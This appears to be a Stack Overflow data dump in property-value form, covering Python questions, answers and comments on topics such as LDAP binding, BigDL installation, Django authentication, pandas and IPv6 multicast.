has comment: http://stackoverflow.com/comment/81643863

http://stackoverflow.com/a/47344602
type: Answer
type: AcceptedAnswer
downvote count: 0
has body: simple_bind_s() can do simple LDAP authentication or Kerberos authentication. However, bind_s() can only do LDAP authentication to form connection with Active Directory server. I mostly prefer simple_bind_s() because we need both authentication support for applications but if you're sure you will never need to implement/use kerberos authentication in your application then feel free to pick bind_s(). Following is the implementations of respective bind definitions (Reference): simple_bind_s(): def simple_bind_s(self,who='',cred='',serverctrls=None,clientctrls=None): """ simple_bind_s([who='' [,cred='']]) -&gt; 4-tuple """ msgid = self.simple_bind(who,cred,serverctrls,clientctrls) resp_type, resp_data, resp_msgid, resp_ctrls = self.result3(msgid,all=1,timeout=self.timeout) return resp_type, resp_data, resp_msgid, resp_ctrls bind_s(): def bind_s(self,who,cred,method=ldap.AUTH_SIMPLE): """ bind_s(who, cred, method) -&gt; None """ msgid = self.bind(who,cred,method) return self.result(msgid,all=1,timeout=self.timeout)
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/47344154
accepted answer of: http://stackoverflow.com/q/47344154

http://stackoverflow.com/a/47282619
type: AcceptedAnswer
type: Answer
has body: If your notebooks are backed by an Apache Spark as a Service instance in DSX, installing BigDL is simple. But you have to collect some version information first. Which Spark version? Currently, 2.1 is the latest supported by DSX. With Python, you can only install BigDL for one Spark version per service. Which BigDL version? Currently, 0.3.0 is the latest, and it supports Spark 2.1. If in doubt, check the download page. The Spark fixlevel does not matter. With this information, you can determine the URL of the required BigDL JAR file in the Maven repository. For the example versions, BigDL 0.3.0 with Spark 2.1, the download URL is https://repo1.maven.org/maven2/com/intel/analytics/bigdl/bigdl-SPARK_2.1/0.3.0/bigdl-SPARK_2.1-0.3.0-jar-with-dependencies.jar For other versions, replace 0.3.0 and 2.1 in that URL as required. Note that both versions appear twice, once in the path and once in the filename. Installing for Python You need the JAR, and the matching Python package. The Python package depends only on the version of BigDL, not on the Spark version. The installation steps can be executed from a Python notebook: Install the JAR. !(export sv=2.1 bv=0.3.0 ; cd ~/data/libs/ &amp;&amp; wget https://repo1.maven.org/maven2/com/intel/analytics/bigdl/bigdl-SPARK_${sv}/${bv}/bigdl-SPARK_${sv}-${bv}-jar-with-dependencies.jar) Here, the versions of Spark (sv) and BigDL (bv) are defined as environment variables, so you can easily adjust them without having to change the URL. Install the Python module. !pip install bigdl==0.3.0 --no-deps | cat If you want to switch your notebooks between Python versions, execute this step once with each Python version. (Without --no-deps, a conflicting version of pyspark would be installed.) After restarting the notebook kernel, BigDL is ready for use. (Not) Installing for Scala If you install the JAR as described above for Python, it is also available in Scala kernels. If you want to use BigDL exclusively with Scala, better not install the JA…
score: 3
upvote count: 3
downvote count: 0
accepted answer of: http://stackoverflow.com/q/47282618
answers question: http://stackoverflow.com/q/47282618

http://stackoverflow.com/a/47358095
accepted answer of: http://stackoverflow.com/q/47356515
upvote count: 2
type: AcceptedAnswer
downvote count: 0
score: 2
has body: For future travelers, you have to ensure that message = MIMEMultipart() is actually message = MIMEMultipart('alternative') otherwise it attaches the file instead of embedding it.
answers question: http://stackoverflow.com/q/47356515
type: Answer

http://stackoverflow.com/comment/81657836
type: QuestionComment
comment on: http://stackoverflow.com/q/47341762
type: Comment
score: 0
has text: The main problem is not whether each field (column) is correctly changed. The problem is that the output of the above code is empty files. I thought NLTK might be the solution but that has not worked either.

http://stackoverflow.com/comment/81435475
has text: Hello ! Sorry I am new with Python and this forum so I don't know the guidelines. I am using Python3 and I have tried these two codes separately: df(' '.join(df["Name"]).lower().split()).value_counts()[:10] from collections import Counter counts = Counter(df["Name"]) print(counts)
score: 0
type: Comment
comment on: http://stackoverflow.com/q/47242331
type: QuestionComment

http://stackoverflow.com/comment/81415543
type: Comment
has text: There are historical reasons for these, probably related to making the transition to Python+Numpy easier for Matlab programmers (c.f. [Matlab's `rand`](https://www.mathworks.com/help/matlab/ref/rand.html)). Cleaning it up might cause more trouble than it is worth, because there is likely a lot of existing code that uses the different versions of the functions.
type: AnswerComment
score: 1
comment on: http://stackoverflow.com/a/47232184

http://stackoverflow.com/a/47228430
has body: In ChildClass.py, I should do from ParentClass import ParentClass That will properly import ParentClass and not its module
score: 0
answers question: http://stackoverflow.com/q/47228290
type: Answer

http://stackoverflow.com/q/47244780
has comment: http://stackoverflow.com/comment/81462805
tagged with: django
tagged with: python
has title: Django Authentication - Created CustomUser and now I can't login anymore
has comment: http://stackoverflow.com/comment/81450224
has comment: http://stackoverflow.com/comment/81461482
score: 0
has comment: http://stackoverflow.com/comment/81461001
has comment: http://stackoverflow.com/comment/81459284
has body: I've put together a custom user model to store a few new fields and to keep the DB/UI models separate. I can create the user fine from a python shell and validate the password: >python manage.py shell -c " from itemdb.models import MyUser; user = MyUser.objects.create_user('mypass','AD','Joe','Smith','1233','joe@smith.com'); print user.check_password('mypass'); " True But when I point my app to the new "MyUser" model, I can't login via the web form anymore: Please enter a correct userid and password. Note that both fields may be case-sensitive. I created a new "users" table with the required fields and the hashed password values are being stored in the "password" field. I've written a few functions that may override the default functions, like "get", "save" etc. I'm guessing the issue is in there somewhere. My other guess, is somehow the form is not passing the right credentials. I know the easiest and cleanest way is to extend the model -- I've read all the posts & tutorials. But I want to keep the DB & UI code separate as much as possible. I think I'm close. What's missing? Any ideas as to why the validation isn't working via the website? Postgres 9.6 Python 2.7 Django 1.11 urls.py (truncated) from django.conf.urls import url from . import views from django.contrib import admin from django.contrib.auth import views as auth_views app_name= 'itemdb' urlpatterns = [ # Authentication/Admin url(r'^login/$', auth_views.login, {'template_name': 'login.html'}, name='login'), url(r'^logout/$', auth_views.logout, {'next_page':'/'}, name='logout'), url(r'^passwordreset/$', auth_views.logout, name='passwordreset'), # Index (i.e. /itemdb/) url(r'^$', views.itemindex, name="itemindex"), ] login.html {% block content %} Login {% csrf_token %} {{ form.as_p }} Login {% endblock %} settings.py ... AUTH_USER_MODEL = 'itemdb.MyUser' # Point to custom user model ... Users table DDL CREATE TABLE Users ( UserId INTEGER NOT NULL, UserType CHAR(2) NOT NULL, FirstName VARCHAR(100) NOT NULL…
answer count: 1
has comment: http://stackoverflow.com/comment/81458834
tagged with: authentication
has comment: http://stackoverflow.com/comment/81475521
has comment: http://stackoverflow.com/comment/81498469
has comment: http://stackoverflow.com/comment/81461546
type: Question
has comment: http://stackoverflow.com/comment/81459456
has answer: http://stackoverflow.com/a/47245263
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81441102

web-scraping
tags question: http://stackoverflow.com/q/47305972
tags question: http://stackoverflow.com/q/47299562
tags question: http://stackoverflow.com/q/47307751
tags question: http://stackoverflow.com/q/47236624
tags question: http://stackoverflow.com/q/47236652
tags question: http://stackoverflow.com/q/47232532
tags question: http://stackoverflow.com/q/47381231
tags question: http://stackoverflow.com/q/47379973
tags question: http://stackoverflow.com/q/47306156
tags question: http://stackoverflow.com/q/47364678
tag name: web-scraping
tags question: http://stackoverflow.com/q/47309666
tags question: http://stackoverflow.com/q/47373471
tags question: http://stackoverflow.com/q/47351045
tags question: http://stackoverflow.com/q/47343992
tags question: http://stackoverflow.com/q/47241675
tags question: http://stackoverflow.com/q/47374559
tags question: http://stackoverflow.com/q/47374248
tags question: http://stackoverflow.com/q/47241751
tags question: http://stackoverflow.com/q/47293558
tags question: http://stackoverflow.com/q/47258636
tags question: http://stackoverflow.com/q/47330735
tags question: http://stackoverflow.com/q/47249287
tags question: http://stackoverflow.com/q/47379112
tags question: http://stackoverflow.com/q/47317828
tags question: http://stackoverflow.com/q/47378429
tags question: http://stackoverflow.com/q/47252724
tags question: http://stackoverflow.com/q/47249153
type: Tag
tags question: http://stackoverflow.com/q/47283173
tags question: http://stackoverflow.com/q/47361970
tags question: http://stackoverflow.com/q/47356653
tags question: http://stackoverflow.com/q/47259285
tags question: http://stackoverflow.com/q/47284211
tags question: http://stackoverflow.com/q/47324062
tags question: http://stackoverflow.com/q/47381962
tags question: http://stackoverflow.com/q/47249937
tags question: http://stackoverflow.com/q/47298499
tags question: http://stackoverflow.com/q/47309396
tags question: http://stackoverflow.com/q/47378819
tags question: http://stackoverflow.com/q/47354209
tags question: http://stackoverflow.com/q/47250288
tags question: http://stackoverflow.com/q/47239714
tags question: http://stackoverflow.com/q/47233385
tags question: http://stackoverflow.com/q/47238292
tags question: http://stackoverflow.com/q/47371844
tags question: http://stackoverflow.com/q/47328475
tags question: http://stackoverflow.com/q/47356806
tags question: http://stackoverflow.com/q/47296488
tags question: http://stackoverflow.com/q/47369445
tags question: http://stackoverflow.com/q/47259090
tags question: http://stackoverflow.com/q/47361396
tags question: http://stackoverflow.com/q/47321027
tags question: http://stackoverflow.com/q/47336374
tags question: http://stackoverflow.com/q/47379141
tags question: http://stackoverflow.com/q/47315114
tags question: http://stackoverflow.com/q/47300147
tags question: http://stackoverflow.com/q/47309734

http://stackoverflow.com/a/47354114
has comment: http://stackoverflow.com/comment/81761116
has comment: http://stackoverflow.com/comment/81762254
type: AcceptedAnswer
downvote count: 1
has comment: http://stackoverflow.com/comment/81762041
has comment: http://stackoverflow.com/comment/81761018
has comment: http://stackoverflow.com/comment/81761166
answers question: http://stackoverflow.com/q/47351711
has comment: http://stackoverflow.com/comment/120900632
has body: Maybe since you are only expecting a very limited character set it is acceptable using eval this once: if not all(c in "1234567890-[],: " for c in b): # maybe also limit the length of b? # tell user you couldn't parse and exit this branch slice_ = eval(f'np.s_[{b}]') # slice_ can now be applied to your array: arr[slice_]
type: Answer
has comment: http://stackoverflow.com/comment/81749737
accepted answer of: http://stackoverflow.com/q/47351711
has comment: http://stackoverflow.com/comment/81761824
score: 2
upvote count: 3
has comment: http://stackoverflow.com/comment/81761704

http://stackoverflow.com/q/47244564
type: Question
score: 2
upvote count: 2
has comment: http://stackoverflow.com/comment/81439589
downvote count: 0
answer count: 1
has comment: http://stackoverflow.com/comment/81470359
tagged with: python
tagged with: spline
has comment: http://stackoverflow.com/comment/81461249
has title: How to interpolate a curve with irregular scale?
has body: I have the following granulometric data that I want to show on a graph, where x is the grain size and y, the probability density function. x follows a geometric sequence (each value multiplied by 2) x: [0.0, 0.078130000000000005, 0.15626000000000001, 0.31252000000000002, 0.62504000000000004, 1.2500800000000001, 2.5001600000000002, 5.0003200000000003, 10.000640000000001, 20.001280000000001] y: [0.0, 1.0512499897262986, 0.8764973224043381, 0.6221799472771921, 0.3760124741123981, 0.19346808043817057, 0.08474951460350254, 0.0316071940839253, 0.010035880788326037, 0.0] Here is the graph: I've been trying to smooth the curve like Excel does. I've tried using interp1d (all methods), spline, Akima1DInterpolator.
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81571092
tagged with: curve-fitting
tagged with: smoothing
has comment: http://stackoverflow.com/comment/81440027
accepted answer: http://stackoverflow.com/a/47260699
has answer: http://stackoverflow.com/a/47260699
favorite count: 0

http://stackoverflow.com/a/48214866
answers question: http://stackoverflow.com/q/47258359
type: Answer
has body: The characteristics of your problem (like error barely changing over 100 epochs, and remaining with a big error), suggest that the problem might be (and probably is) caused by the order of size of your input data, and the fact that you use sigmoids as activation function. I will give you a simple example: Suppose I want to reconstruct the value x=100. If I train it with an autoencoder on a single neuron, the reconstructed output will be given by r = sigmoid(w*x), where the error is the difference between the actual input and the reconstruction, i.e. e = x - r. Note, that since a sigmoid function is bounded between -1 and 1 , the minimum error you can get in this case is e = 100-1 = 99. No matter how good you train the weight w in this case, r=sigmoid(w*x) would always be bounded by one. This means that the sigmoid activation function is not able to represent your data in this case. To solve this problem, either: Downscale or Normalize your input data to a size between -1 and 1, or Change the sigmoid to another activation function, that can actually reconstruct the right size of order of your data. Hope this helps.
downvote count: 0
upvote count: 1
score: 1

http://stackoverflow.com/a/47305857
type: Answer
score: 0
has body: You need to tell Python that you want float output. Try percent_difference(1.0, 2.0)
answers question: http://stackoverflow.com/q/47305826

http://stackoverflow.com/a/47371505
answers question: http://stackoverflow.com/q/47371269
has body: Does this do what you want? I anchored the start and end of the match so that it considers the whole line from start to finish. (\n|^)((?&lt;!https:\/\/)([a-zA-Z0-9_-]+?)(\.\w{3})?(\.help\.test\.com|\.remote\.help\.test\.com))(\n|$)
type: Answer
score: 0

http://stackoverflow.com/a/47295237
answers question: http://stackoverflow.com/q/47295181
type: Answer
has body: From the terminal, run with: python3.1 your_program.py
upvote count: 2
has comment: http://stackoverflow.com/comment/81541718
score: 1
has comment: http://stackoverflow.com/comment/81541826
downvote count: 1

http://stackoverflow.com/comment/81699159
type: Comment
has text: app.yaml file has been included in the question
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47254271

http://stackoverflow.com/comment/81651968
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47350014
score: 1
has text: Or need `df['date'].dt.strftime('%d-%b')` ?

http://stackoverflow.com/comment/81492167
type: Comment
comment on: http://stackoverflow.com/q/47270587
score: 0
type: QuestionComment
has text: Could you just create a new django project and then dump in all your old files? May have to tweak a thing or two, but could also be simpler

http://stackoverflow.com/a/47343354
downvote count: 1
has comment: http://stackoverflow.com/comment/81638861
answers question: http://stackoverflow.com/q/47343252
type: Answer
score: -1
upvote count: 0
has body: [x for x in enumerate(a) if x[1] == 69]

http://stackoverflow.com/comment/81458107
score: 0
type: QuestionComment
has text: @Tifiloow I added an answer below. Follow the steps I provided and it should open a new window, load google, then close.
type: Comment
comment on: http://stackoverflow.com/q/47248017

http://stackoverflow.com/comment/81564831
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47306429
has text: I'll probably change the project requirements
score: 0

http://stackoverflow.com/comment/81500364
score: 0
type: QuestionComment
type: Comment
has text: @AK47 Thanks, I updated to provide print output. I'll try your suggestion regarding the ternary operator....
comment on: http://stackoverflow.com/q/47274486

http://stackoverflow.com/q/47338790
has answer: http://stackoverflow.com/a/47371704
accepted answer: http://stackoverflow.com/a/47371704
has title: Self-signed certificate used when wrapping sockets
favorite count: 0
type: Question
tagged with: python
tagged with: python-cryptography
score: 2
upvote count: 2
type: AnsweredQuestion
tagged with: python-3.x
downvote count: 0
has body: I'm trying to use a self-signed x509 certificate generated using the cryptography module in an ssl handshake. I'm generating the cert and key to PEM files as prescribed in the documentation and writing them to files using the following function: def write_key_and_cert(self, certname="cert.pem", keyname="key.pem"): with open(certname, "wb") as f: f.write(self.cert.public_bytes(serialization.Encoding.PEM)) with open(keyname, "wb") as f: f.write(self.private_key.private_bytes(encoding=serialization.Encoding.PEM, format=serialization.PrivateFormat.TraditionalOpenSSL, encryption_algorithm=serialization.BestAvailableEncryption(b"passphrase"),),) The problem arises during the wrapping of the socket, the server is unable to use the certfile and keyfile, causing a hang. I believe it is due to the keyfile being encrypted (the ssl wrapping isn't decrypting the keyfile). Is there a way to use the cryptography module generated certfile/keyfile and, if so, how?
answer count: 1

http://stackoverflow.com/a/47560162
type: Answer
answers question: http://stackoverflow.com/q/47375936
has body: See after installing pytesseract ,using &lt;cmd&gt;C:\&gt; pip install pytesseract Try : import pytesseract If above is not working then it has do something with the installation , Check if pytesseract folder is available under "\Python27\Lib\site-packages" , Try the above command from site packages, Hope this helps , Else there is something wrong with installation .
score: 5
upvote count: 5
downvote count: 0
accepted answer of: http://stackoverflow.com/q/47375936
type: AcceptedAnswer

http://stackoverflow.com/q/47346051
has comment: http://stackoverflow.com/comment/81644017
has comment: http://stackoverflow.com/comment/81647493
has comment: http://stackoverflow.com/comment/81651354
has title: Get cell to left/adjacent column a well as Column value minus another column value
has comment: http://stackoverflow.com/comment/81646989
has comment: http://stackoverflow.com/comment/81647530
score: 0
has comment: http://stackoverflow.com/comment/81647992
has comment: http://stackoverflow.com/comment/81653721
tagged with: pandas
answer count: 0
has comment: http://stackoverflow.com/comment/81646545
has comment: http://stackoverflow.com/comment/81644117
has comment: http://stackoverflow.com/comment/81646308
has comment: http://stackoverflow.com/comment/81646884
has comment: http://stackoverflow.com/comment/81646822
has comment: http://stackoverflow.com/comment/81647102
has comment: http://stackoverflow.com/comment/81646659
has comment: http://stackoverflow.com/comment/81646627
has comment: http://stackoverflow.com/comment/81646715
has comment: http://stackoverflow.com/comment/81652115
type: Question
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/81654253
has comment: http://stackoverflow.com/comment/81647244
has body: I have 2 data frames and am wanting to get Column value for each row in the form of =B-A and =A for dynamic, ever changing data. =B-A and =A Dataframe1 with columns A and B 2 11 2 19 11 15 Expected 2 9 2 17 11 4 I have tried the following: For Equalling cell to left I have tried.. df1['b'] = df1['C'].str[:2] For =C-B I have tried… result = df['b'] - df['c'] df1 = pd.read_excel('C:/DAB.xlsx', 'Sheet1', parse_cols='A:B') # Cell Equal to Left. df1['A'] = df1['B'].str[:2] As well as # =B-A. result = df['B'] - df['A'] I have tried lots of different methods but I can’t seem to get it to work. This should also work. df = pd.DataFrame({'b' : [2, 2, 11], 'c' : [11, 20, 30]}) # New column with results of difference df['b-c'] = df['b'] - df['c'] Except that I am dealing with large, dynamic data set.
has comment: http://stackoverflow.com/comment/81646789
has comment: http://stackoverflow.com/comment/81647322
has comment: http://stackoverflow.com/comment/81647801
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81647166
has comment: http://stackoverflow.com/comment/81644036
has comment: http://stackoverflow.com/comment/81651317
has comment: http://stackoverflow.com/comment/81653777
tagged with: python
linked to: http://stackoverflow.com/q/46709333
has comment: http://stackoverflow.com/comment/81646250

http://stackoverflow.com/comment/81704570
comment on: http://stackoverflow.com/q/47374647
type: Comment
has text: If this was your real code, then the value of `chq` would be `['1', '2', '3' ...]` etc.
type: QuestionComment
score: 0

http://stackoverflow.com/comment/81722862
score: 0
type: QuestionComment
has text: I would just solve this in Javascript. I mean, the data will be put on the client anyways, so why not just read the content column count or row count and scale accordingly?
type: Comment
comment on: http://stackoverflow.com/q/47379789

http://stackoverflow.com/a/47233917
has comment: http://stackoverflow.com/comment/81418616
type: Answer
answers question: http://stackoverflow.com/q/47233728
score: 0
has body: To make sure I got the question correctly: There are n items and n/2 people The first person in the list gets the best (highest value) and the worst (lowest value) item. The second person gets the second-best item and second-worst, etc. There are k people behind you in the list, so you are in position n/2-k You want to know which two items of the list you get If you just want to know the two items you get, you don't need a loop. You can just sort the items by value, compute the two indexes in the list that will fall to you. They would be n/2 - k - 1 (caution, indices are zero-based!), and n/2 + k: def which_items_do_i_get(people_after_me, items): # Get items sorted by value sorted_items = sorted(items, key=lambda x: -x[1]) # Determine number of people number_of_people = len(items) // 2 assert len(items) % 2 == 0 # Must be an even number of items assert people_after_me &lt; number_of_people # Need more items # Determine first and second item first_item = sorted_items[number_of_people - people_after_me - 1] second_item = sorted_items[number_of_people + people_after_me] # Print them out for item_name, item_value in first_item, second_item: print '%s: %d' % (item_name, item_value)
has comment: http://stackoverflow.com/comment/81419337

http://stackoverflow.com/a/47275861
upvote count: 4
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/47275502
downvote count: 0
has body: Try using {{ object.image.url }} instead of {{ object.image }} in your template.
has comment: http://stackoverflow.com/comment/81504608
has comment: http://stackoverflow.com/comment/81531138
type: Answer
score: 4
answers question: http://stackoverflow.com/q/47275502

http://stackoverflow.com/comment/82363056
comment on: http://stackoverflow.com/a/47246928
score: 0
type: Comment
has text: Thanks IIya. I will look into your recommendation!
type: AnswerComment

http://stackoverflow.com/comment/81536778
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/47292920
has text: You should show all of the relevant parts of the Python.

http://stackoverflow.com/q/47325781
type: Question
has comment: http://stackoverflow.com/comment/81602483
has answer: http://stackoverflow.com/a/47326117
has answer: http://stackoverflow.com/a/47326490
has comment: http://stackoverflow.com/comment/81606908
has comment: http://stackoverflow.com/comment/81602419
has body: I have a dict with alot of items: {'id-quantity-60': u'1', 'id-quantity-35': u'3','id-product-35': u'on', 'id-product-60': u'on',} I need to create a list with all three elements inside. I'm expecting a list like this: &lt;type 'list'&gt;: [['60', u'1', u'on'], ['35', u'3', u'on'],] I have only 2 values above, but 2 times the same product-id. So it should add the quantity and the 'on off' together to the same product-id. How can I do that? I tried it with something like this: for key, value in request.params.items(): if key[:12] == 'id-quantity-': if key[12:] in list: list.insert(key[12:], value) else: list.append([key[12:], value]) if key[:11] == 'id-product-': if key[11:] in list: list.insert(key[11:], value) else: list.append([key[11:], value]) The problem is I get this list all time splitet: &lt;type 'list'&gt;: [['60', u'1'], ['35', u'3'], ['35', u'on'], ['60', u'on'],] finally I should be able to fill the data in here (60, 1, True for example): data = request.registry['website']._subscription_exclude_product(cr, uid, [{'product_id': int(60), 'qty': int(1), 'like': bool(True)}], context=context) Thank you very much.
tagged with: python
tagged with: dictionary
answer count: 4
tagged with: list
score: 0
has title: How can I add a value in my list when a condition is true?
has comment: http://stackoverflow.com/comment/81603289
upvote count: 1
has answer: http://stackoverflow.com/a/47326285
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81603000
has answer: http://stackoverflow.com/a/47326251
downvote count: 1
favorite count: 0

http://stackoverflow.com/q/47367689
answer count: 1
accepted answer: http://stackoverflow.com/a/47367929
type: Question
tagged with: apache-spark-sql
has title: Calculate Duration between two dates using python
has body: I have dataset DaySchedule DayAppointment 2016-04-29 18:38:08 2016-04-29 2016-04-29 16:08:27 2016-04-29 2016-04-26 15:04:17 2016-04-29 I want to calculate the duration time between the Schedule date and the appointment date if they on the same day then the duration will be 0 otherwise I will subtract Appointment day from Schedule day. def duration_time(x,y): x= x.dt.date y= y.dt.date if x==y: return 0 else: return x-y Patient["duration"] = Patient.apply(lambda Patient:duration_time(Patient["DayAppointment"], Patient["DaySchedule"]), axis=1) After I run this cod I had this Error : AttributeError: ("'Timestamp' object has no attribute 'dt'", u'occurred at index 0') any idea why I got this error?
tagged with: python
has answer: http://stackoverflow.com/a/47367929
type: AnsweredQuestion
score: 0

http://stackoverflow.com/a/47293659
downvote count: 0
upvote count: 1
answers question: http://stackoverflow.com/q/47293216
has body: Actually, there's no regex needed here, just use split(): cmds = ['!action db_table mandatory_arg arg1 arg2 arg3...', '!dont match this match1 match2 match3 match4 etc...', 'this one not'] new_cmds = [args[3:] for cmd in cmds for args in [cmd.split()] if cmd.startswith('!')] print(new_cmds) # [['arg1', 'arg2', 'arg3...'], # ['match1', 'match2', 'match3', 'match4', 'etc...']]
score: 1
type: Answer

http://stackoverflow.com/comment/82447893
type: QuestionComment
has text: Are you sure you're seeing processes and [not threads](https://unix.stackexchange.com/questions/10362/why-does-htop-show-more-process-than-ps)?
comment on: http://stackoverflow.com/q/47335785
type: Comment
score: 1

http://stackoverflow.com/a/47230701
answers question: http://stackoverflow.com/q/47230593
has body: You can use str.split() and '.'.join: s = "7654 16.317 8.651 7.70.582 17.487" final_data = map(float, ['.'.join(i.split('.')[:-1]) if len(i.split('.')) &gt; 2 else i for i in s.split()]) Output: [7654.0, 16.317, 8.651, 7.7, 17.487] Regarding the single string: s = ["7.70.582"] final_data = map(float, ['.'.join(i.split('.')[:-1]) if len(i.split('.')) &gt; 2 else i for i in s]) Output: [7.7]
has comment: http://stackoverflow.com/comment/81412105
has comment: http://stackoverflow.com/comment/81421665
score: 0
has comment: http://stackoverflow.com/comment/81412416
type: Answer

http://stackoverflow.com/a/47376633
downvote count: 0
has comment: http://stackoverflow.com/comment/81705446
accepted answer of: http://stackoverflow.com/q/47376563
type: Answer
has body: You can't call score -= Assassin.__init__.cost in python. The init method is the constructor of the Class and should be used to do so. The value that you want is inside the object that you created, so you could call assassin.cost directly, assuming that assassin is the object. So, you just need to change to: if assassin.collidepoint(pygame.mouse.get_pos()) and mouseDown[0]: for block in blockGroup: if block.team1Taken == False and block.column ==1: current_assassin = Assassin(block.team1[0], block.team1[1], block.row, block.column) team1.add(current_assassin) block.team1Taken = True score -= current_assassin.cost break
answers question: http://stackoverflow.com/q/47376563
score: 2
upvote count: 2
type: AcceptedAnswer

http://stackoverflow.com/comment/85165791
type: Comment
type: AnswerComment
has text: Here are the details, check the paragraph for SIGKILL and SIGIN: https://en.wikipedia.org/wiki/Signal_(IPC) Basically Ctr-C can be masked (meaning to override the default OS behavior)
score: 0
comment on: http://stackoverflow.com/a/49076639

http://stackoverflow.com/q/47272525
has answer: http://stackoverflow.com/a/47272599
has title: Iterate through a list, divide values, store in new list
has comment: http://stackoverflow.com/comment/81496118
has answer: http://stackoverflow.com/a/47275517
type: Question
has comment: http://stackoverflow.com/comment/81496025
has answer: http://stackoverflow.com/a/47272594
answer count: 5
has answer: http://stackoverflow.com/a/47272614
type: UnansweredQuestion
tagged with: python
has answer: http://stackoverflow.com/a/47272674
has body: In the code I have series of lists, each one containing the same number of entries. What I want to do now is iterate through the list and divide one list index by the other. threads = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12] dsk_indpt_PI = [99, 197, 295, 387, 391, 406, 407, 416, 424, 426, 425, 439] avg_val = [] for x in threads: result = dsk_indpt_PI[x]/threads[x] avg_val.append(result[x]) I am unsure if the above method works, previous methods I ran into the issue where it could not do division between type int and type list. Would the above example work better? If not, what should be changed to have it function as desired? Thank you.
tagged with: python-2.7
score: 0
tagged with: list
has comment: http://stackoverflow.com/comment/81496121

http://stackoverflow.com/q/47374035
linked to: http://stackoverflow.com/q/24237111
score: 0
duplicate of: http://stackoverflow.com/q/24237111
has answer: http://stackoverflow.com/a/47401770
tagged with: python-3.x
type: Question
has body: I'm currently working on some python code but its giving me a syntax error in the second 'if statement'. When I run it, it highlights quadpos. What seems to be the problem? print(' Hello, press enter to continue') print('What is your A value?') # Asking for the A value myA = input() myA = int(myA) print('What is your B value?') # Asking for the B value myB = input() myB = int(myB) print('What is your C value?') # Asking for the C value myC = input() myC = int(myC) quad = ((myB * myB) - (4 * myA * myC)) if int(quad) &lt; int(0): print('Cannot process Value') else: quad2 = (int(quad)**(1/2.0)) if int(myA) &gt; int(0): quadneg = ((int(-myB) - int(quad2)) / (2 * myA) quadpos = ((int(-myB) + int(quad2)) / (2 * myA) print(int(quadneg)) print(int(quadpos)) else: quad3 = ((int(-myB) * int(-myB)) + int(quad2)) / (2 * myA) print (int(quad3))
has answer: http://stackoverflow.com/a/47374106
answer count: 2
tagged with: python
type: UnansweredQuestion
has title: Having a Python if statement syntax error

http://stackoverflow.com/comment/81538374
type: Comment
comment on: http://stackoverflow.com/q/47293729
type: QuestionComment
score: 0
has text: @cᴏʟᴅsᴘᴇᴇᴅ sorry, to each individual word. Updated question.

http://stackoverflow.com/comment/81481248
type: Comment
type: QuestionComment
has text: Also @Divakar why is it patchy?
score: 0
comment on: http://stackoverflow.com/q/47265000

http://stackoverflow.com/comment/81702202
type: Comment
score: 0
has text: thanks! using multiple return values is not an option (afaik) as my toy function was a bit too oversimplified. in fact, the size of the output list is dynamic. Passing a numpy array directly is also not possible. I tried the otype parameter, but passed the wrong type. But If I understand correctly, this solution also fails because of the dynamic return size. I updated my original toy function to capture a bit more of the complexity.
type: AnswerComment
comment on: http://stackoverflow.com/a/47374791

http://stackoverflow.com/a/47286500
has body: Solved it :) So apparently IPv6 doesn't listen to multicast from all interfaces. This syntax mreq = group + struct.pack('@I', 0) was wrong. According to this, mreq is composed of the group id and the interface id, where 0 is the default interface (in my case- WiFi). In order to listen to multicast from other interfaces, the network interface index should be specified. The network interface index is the number thet appears after the % in the ipv6 address when running ipconfig, and can also be found running "route print" in cmd. I used this code to find it on python: import netifaces as ni import _winreg as wr # use "winreg" in python3 def get_ethernet_ipv6_ifindex(): x=ni.interfaces() con_names=get_connection_name_from_guid(x) ethernet_index= con_names.index('Ethernet') addresses= ni.ifaddresses(x[ethernet_index]) brod_addr=addresses[socket.AF_INET6][-1]["broadcast"] return int(brod_addr[brod_addr.find("%")+1:]) """ Taken from the very helpful https://stackoverflow.com/questions/29913516/how-to-get-meaningful-network-interface-names-instead-of-guids-with-netifaces-un """ def get_connection_name_from_guid(iface_guids): iface_names = ['(unknown)' for i in range(len(iface_guids))] reg = wr.ConnectRegistry(None, wr.HKEY_LOCAL_MACHINE) reg_key = wr.OpenKey(reg, r'SYSTEM\CurrentControlSet\Control\Network\{4d36e972-e325-11ce-bfc1-08002be10318}') for i in range(len(iface_guids)): try: reg_subkey = wr.OpenKey(reg_key, iface_guids[i] + r'\Connection') iface_names[i] = wr.QueryValueEx(reg_subkey, 'Name')[0] except WindowsError: pass return iface_names And then- mreq = group + struct.pack('@I', get_ethernet_ipv6_ifindex())
upvote count: 3
downvote count: 0
has comment: http://stackoverflow.com/comment/113194225
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/47280816
score: 3
answers question: http://stackoverflow.com/q/47280816
type: Answer

http://stackoverflow.com/a/47346863
has body: MySQL Connector does not expect named parameters like that. As the documentation shows, you should use the %(var_name)s format for dictionary interpolation: sql = '''insert into ingredients (title, amount, description) values (%(title)s, %(amount)s, %(description)s)''' cursor.execute(sql, {"title": ingredient, "amount": num, "description": description})
score: 1
answers question: http://stackoverflow.com/q/47346758
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/81651632
upvote count: 1
has comment: http://stackoverflow.com/comment/81651370
accepted answer of: http://stackoverflow.com/q/47346758
type: Answer

cron
tags question: http://stackoverflow.com/q/47311758
tags question: http://stackoverflow.com/q/47264239
tags question: http://stackoverflow.com/q/47255981
tag name: cron
tags question: http://stackoverflow.com/q/47300353
tags question: http://stackoverflow.com/q/47256007
tags question: http://stackoverflow.com/q/47356453
type: Tag

http://stackoverflow.com/comment/81593837
type: QuestionComment
comment on: http://stackoverflow.com/q/47305665
score: 0
has text: @Anton vBR can u please tell me in details as i am new and learning so it will be very helpful to me.
type: Comment

http://stackoverflow.com/comment/81717685
type: AnswerComment
score: 0
has text: This is smart !
type: Comment
comment on: http://stackoverflow.com/a/47382461

http://stackoverflow.com/a/47272053
has comment: http://stackoverflow.com/comment/81541025
